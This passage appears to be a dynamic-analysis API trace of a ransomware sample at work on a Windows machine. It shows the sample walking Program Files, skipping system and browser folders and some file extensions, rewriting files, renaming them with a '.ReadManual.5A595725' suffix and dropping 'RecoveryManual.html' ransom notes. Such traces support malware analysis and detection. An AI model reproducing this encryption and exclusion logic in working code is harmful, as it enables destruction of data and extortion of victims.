returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.581] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.582] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned 76 [0258.582] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff80 [0258.582] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0258.582] FindNextFileW (in: hFindFile=0x6bff80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.583] FindNextFileW (in: hFindFile=0x6bff80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0258.583] lstrcpyW (in: lpString1=0x6ab934, lpString2="msmdsrv.rll" | out: lpString1="msmdsrv.rll") returned="msmdsrv.rll" [0258.583] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="RecoveryManual.html") returned -1 [0258.583] StrStrIW (lpFirst="msmdsrv.rll", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.583] StrCmpIW (psz1="rll", psz2="exe") returned 1 [0258.583] StrCmpIW (psz1="rll", psz2="dll") returned 1 [0258.583] StrCmpIW (psz1="rll", psz2="sys") returned -1 [0258.583] StrCmpIW (psz1="rll", psz2="msi") returned 1 [0258.583] StrCmpIW (psz1="rll", psz2="mui") returned 1 [0258.583] StrCmpIW (psz1="rll", psz2="inf") returned 1 [0258.583] StrCmpIW (psz1="rll", psz2="cat") returned 1 [0258.583] StrCmpIW (psz1="rll", psz2="bat") returned 1 [0258.583] StrCmpIW (psz1="rll", psz2="cmd") returned 1 [0258.583] StrCmpIW (psz1="rll", psz2="ps1") returned 1 [0258.583] StrCmpIW (psz1="rll", psz2="vbs") returned -1 [0258.583] StrCmpIW (psz1="rll", psz2="ttf") returned -1 [0258.583] StrCmpIW (psz1="rll", psz2="fon") returned 1 [0258.583] StrCmpIW (psz1="rll", psz2="lnk") returned 1 [0258.583] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" [0258.583] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.ReadManual.5A595725" [0258.583] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.ReadManual.5A595725") returned 107 [0258.584] QueryPerformanceCounter (in: lpPerformanceCount=0x434fcf8 | out: lpPerformanceCount=0x434fcf8*=37925230680) returned 1 [0258.584] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 0x20 [0258.584] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0258.584] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x434fd10 | out: lpFileSize=0x434fd10*=666456) returned 1 [0258.584] CreateFileMappingW (hFile=0x1a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa2b58, lpName=0x0) returned 0x1a4 [0258.584] SetFileInformationByHandle (hFile=0x1a0, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 [0258.584] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.585] WriteFile (in: hFile=0x1a0, lpBuffer=0x434fbf8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fbf4, lpOverlapped=0x0 | out: lpBuffer=0x434fbf8*, lpNumberOfBytesWritten=0x434fbf4*=0x20, lpOverlapped=0x0) returned 1 [0258.587] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fbf4, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fbf4*=0x100, lpOverlapped=0x0) returned 1 [0258.587] MapViewOfFile (hFileMappingObject=0x1a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa2b58) returned 0x2690000 [0258.612] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0258.613] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd00 | out: lpPerformanceCount=0x434fd00*=37928212010) returned 1 [0258.613] CloseHandle (hObject=0x1a4) returned 1 [0258.613] SetSecurityInfo () returned 0x57 [0258.613] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.613] CloseHandle (hObject=0x1a0) returned 1 [0258.614] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0258.614] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\RecoveryManual.html" [0258.614] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\RecoveryManual.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0258.616] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fd60, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fd60*=0xae9, lpOverlapped=0x0) returned 1 [0258.617] CloseHandle (hObject=0x1a0) returned 1 [0258.617] FindNextFileW (in: hFindFile=0x6bff80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0258.617] lstrcpyW (in: lpString1=0x6ab934, lpString2="msolui100.rll" | out: lpString1="msolui100.rll") returned="msolui100.rll" [0258.617] lstrcmpiW (lpString1="msolui100.rll", lpString2="RecoveryManual.html") returned -1 [0258.617] StrStrIW (lpFirst="msolui100.rll", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.617] StrCmpIW (psz1="rll", psz2="exe") returned 1 [0258.617] StrCmpIW (psz1="rll", psz2="dll") returned 1 [0258.617] StrCmpIW (psz1="rll", psz2="sys") returned -1 [0258.617] StrCmpIW (psz1="rll", psz2="msi") returned 1 [0258.617] StrCmpIW (psz1="rll", psz2="mui") returned 1 [0258.617] StrCmpIW (psz1="rll", psz2="inf") returned 1 [0258.617] StrCmpIW (psz1="rll", psz2="cat") returned 1 [0258.617] StrCmpIW (psz1="rll", psz2="bat") returned 1 [0258.617] StrCmpIW (psz1="rll", psz2="cmd") returned 1 [0258.617] StrCmpIW (psz1="rll", psz2="ps1") returned 1 [0258.617] StrCmpIW (psz1="rll", psz2="vbs") returned -1 [0258.617] StrCmpIW (psz1="rll", psz2="ttf") returned -1 [0258.617] StrCmpIW (psz1="rll", psz2="fon") returned 1 [0258.617] StrCmpIW (psz1="rll", psz2="lnk") returned 1 [0258.617] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" [0258.617] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.ReadManual.5A595725" [0258.617] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.ReadManual.5A595725") returned 109 [0258.617] QueryPerformanceCounter (in: lpPerformanceCount=0x434fcf8 | out: lpPerformanceCount=0x434fcf8*=37928620273) returned 1 [0258.617] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 0x20 [0258.618] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0258.618] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x434fd10 | out: lpFileSize=0x434fd10*=14872) returned 1 [0258.618] CreateFileMappingW (hFile=0x1a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a18, lpName=0x0) returned 0x1a4 [0258.618] SetFileInformationByHandle (hFile=0x1a0, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0258.618] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.618] WriteFile (in: hFile=0x1a0, lpBuffer=0x434fbf8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fbf4, lpOverlapped=0x0 | out: lpBuffer=0x434fbf8*, lpNumberOfBytesWritten=0x434fbf4*=0x20, lpOverlapped=0x0) returned 1 [0258.620] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fbf4, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fbf4*=0x100, lpOverlapped=0x0) returned 1 [0258.621] MapViewOfFile (hFileMappingObject=0x1a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a18) returned 0x2f0000 [0258.621] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.621] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd00 | out: lpPerformanceCount=0x434fd00*=37928965706) returned 1 [0258.621] CloseHandle (hObject=0x1a4) returned 1 [0258.621] SetSecurityInfo () returned 0x57 [0258.621] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.621] CloseHandle (hObject=0x1a0) returned 1 [0258.621] FindNextFileW (in: hFindFile=0x6bff80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0258.621] FindClose (in: hFindFile=0x6bff80 | out: hFindFile=0x6bff80) returned 1 [0258.621] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0258.621] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0258.621] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0258.622] FindClose (in: hFindFile=0x6bff00 | out: hFindFile=0x6bff00) returned 1 [0258.622] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0258.622] FindClose (in: hFindFile=0x6bfec0 | out: hFindFile=0x6bfec0) returned 1 [0258.622] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e910, ftCreationTime.dwHighDateTime=0x1d599a6, ftLastAccessTime.dwLowDateTime=0x57aaa130, ftLastAccessTime.dwHighDateTime=0x1d569cd, ftLastWriteTime.dwLowDateTime=0x57aaa130, ftLastWriteTime.dwHighDateTime=0x1d569cd, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="finish bird lopez.exe", cAlternateFileName="FINISH~1.EXE")) returned 1 [0258.622] lstrcpyW (in: lpString1=0x6ab8fe, lpString2="finish bird lopez.exe" | out: lpString1="finish bird lopez.exe") returned="finish bird lopez.exe" [0258.622] lstrcmpiW (lpString1="finish bird lopez.exe", lpString2="RecoveryManual.html") returned -1 [0258.622] StrStrIW (lpFirst="finish bird lopez.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.622] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0258.622] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\" [0258.622] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\RecoveryManual.html" [0258.622] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\RecoveryManual.html" (normalized: "c:\\program files\\microsoft analysis services\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0258.622] WriteFile (in: hFile=0x18c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0258.623] CloseHandle (hObject=0x18c) returned 1 [0258.623] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b3cf100, ftCreationTime.dwHighDateTime=0x1d5d5a0, ftLastAccessTime.dwLowDateTime=0xa78ec5b0, ftLastAccessTime.dwHighDateTime=0x1d5b166, ftLastWriteTime.dwLowDateTime=0xa78ec5b0, ftLastWriteTime.dwHighDateTime=0x1d5b166, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="toner.exe", cAlternateFileName="")) returned 1 [0258.623] lstrcpyW (in: lpString1=0x6ab8fe, lpString2="toner.exe" | out: lpString1="toner.exe") returned="toner.exe" [0258.623] lstrcmpiW (lpString1="toner.exe", lpString2="RecoveryManual.html") returned 1 [0258.623] StrStrIW (lpFirst="toner.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.623] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0258.624] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b3cf100, ftCreationTime.dwHighDateTime=0x1d5d5a0, ftLastAccessTime.dwLowDateTime=0xa78ec5b0, ftLastAccessTime.dwHighDateTime=0x1d5b166, ftLastWriteTime.dwLowDateTime=0xa78ec5b0, ftLastWriteTime.dwHighDateTime=0x1d5b166, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="toner.exe", cAlternateFileName="")) returned 0 [0258.624] FindClose (in: hFindFile=0x6bfe80 | out: hFindFile=0x6bfe80) returned 1 [0258.624] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe0cbaaa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0cbaaa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0258.624] lstrcpyW (in: lpString1=0x69b8c6, lpString2="Microsoft Office" | out: lpString1="Microsoft Office") returned="Microsoft Office" [0258.624] lstrcatW (in: lpString1="Microsoft Office", lpString2="\\" | out: lpString1="Microsoft Office\\") returned="Microsoft Office\\" [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch=":\\Windows\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch=":\\WINNT") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch=":\\Windows.old\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch=":\\PerfLog\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\WindowsApps\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\Windows Defender\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\microsoft shared\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0258.624] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\Tor Browser\\") returned 0x0 [0258.625] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Microsoft Office\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0258.625] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\") returned 38 [0258.625] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe0cbaaa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0cbaaa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfe80 [0258.625] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\" [0258.625] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe0cbaaa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0cbaaa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.625] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, 